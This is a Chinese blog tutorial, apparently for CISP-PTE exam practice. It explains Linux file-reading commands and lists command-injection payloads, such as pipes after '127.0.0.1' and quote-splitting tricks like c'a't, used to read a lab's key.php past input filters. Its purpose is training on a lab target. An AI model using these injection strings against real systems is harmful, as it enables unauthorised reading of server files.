当前位置:网站首页>CISP-PTE之命令注入篇
CISP-PTE之命令注入篇
2022-07-06 18:16:00 【炫彩@之星】
命令执行靶场讲解
上一篇文章我们讲解了实操练习题(二)的讲解,其中的命令执行有第二种解法,就是在没有过滤的情况下,很快就会有答案了。
我们直接用tac进行读取文件
进行提交,看看结果如何
发现,直接就出现答案了,并没有对相关语句进行过滤,所以,在考试中,还会出现过滤的情况,大家要学会如何进行绕过,找到答案。
命令注入相关知识讲解
个人觉得这个命令注入是最简单的。
在这之前先来了解下读文件都可以用哪些命令吧。
linux常用于读取文件内容指令主要有以下七种:
cat、tac、nl、more、less、head、tail
cat: 由第一行开始显示内容,并将所有内容输出
cat 文件名 将文件内容显示在屏幕上
cat -n 文件名 将文件内容显示在屏幕上,并显示行号
cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号
tac: 从最后一行倒序显示内容,并将所有内容输出
tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出
nl: 类似于cat-n,显示时输出行号
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名 显示行号,空行也显示行号
nl -b t 文件名 显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0
more:根据窗口大小,一页一页的查看文件内容
more 文件名
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
less 文件名
head:只显示头几行
haed 文件名 –显示文件头十行
tail:只显示最后几行
tail文件名 –显示文件尾部
相关题目可设置的payload:
经测试,以下payload均可完成这道题。
127.0.0.1 | less …/key.php
127.0.0.1 | m’or’e …/key.php
127.0.0.1 | tail …/key.php
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 | head …/key.php
127.0.0.1 | nl …/key.php
|od -c …/key.php
|xxd …/key.php
|xxd …/key.php|grep key
|grep “key” …/key.php
|sed -n ‘1,5p’ …/key.php|grep key
相关命令执行的靶场
直接用刚才的payload试:
127.0.0.1 | m’or’e …/key.php
经测试这个靶场可以用的payload:
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 |xxd …/key.php
127.0.0.1 |grep “key” …/key.php
边栏推荐
猜你喜欢
ROS学习(21)机器人SLAM功能包——orbslam的安装与测试
Blue Bridge Cup 2022 13th provincial competition real topic - block painting
Transplant DAC chip mcp4725 to nuc980
Baidu flying general BMN timing action positioning framework | data preparation and training guide (Part 2)
Analyze "C language" [advanced] paid knowledge [End]
JVM memory model
Yunna | work order management software, work order management software app
鼠标右键 自定义
Scenario practice: quickly build wordpress blog system based on function calculation
The difference between Tansig and logsig. Why does BP like to use Tansig
随机推荐
修改px4飞控的系统时间
AcWing 345. Cattle station solution (nature and multiplication of Floyd)
Machine learning: the difference between random gradient descent (SGD) and gradient descent (GD) and code implementation.
AcWing 346. 走廊泼水节 题解(推公式、最小生成树)
Domestic images of various languages, software and systems. It is enough to collect this warehouse: Thanks mirror
First experience of JSON learning - the third-party jar package realizes bean, list and map to create JSON format
Today's question -2022/7/4 modify string reference type variables in lambda body
New job insights ~ leave the old and welcome the new~
POJ 3177 Redundant Paths POJ 3352 Road Construction(双连接)
AcWing 361. Sightseeing cow problem solution (SPFA seeking positive ring)
Basic introduction and use of dvajs
AcWing 1142. Busy urban problem solving (minimum spanning tree)
JS es5 peut également créer des constantes?
搭建【Redis in CentOS7.x】
Make DIY welding smoke extractor with lighting
Comparison of picture beds of free white whoring
C语言【23道】经典面试题【下】
Yunna | work order management software, work order management software app
Share a general compilation method of so dynamic library
Curl command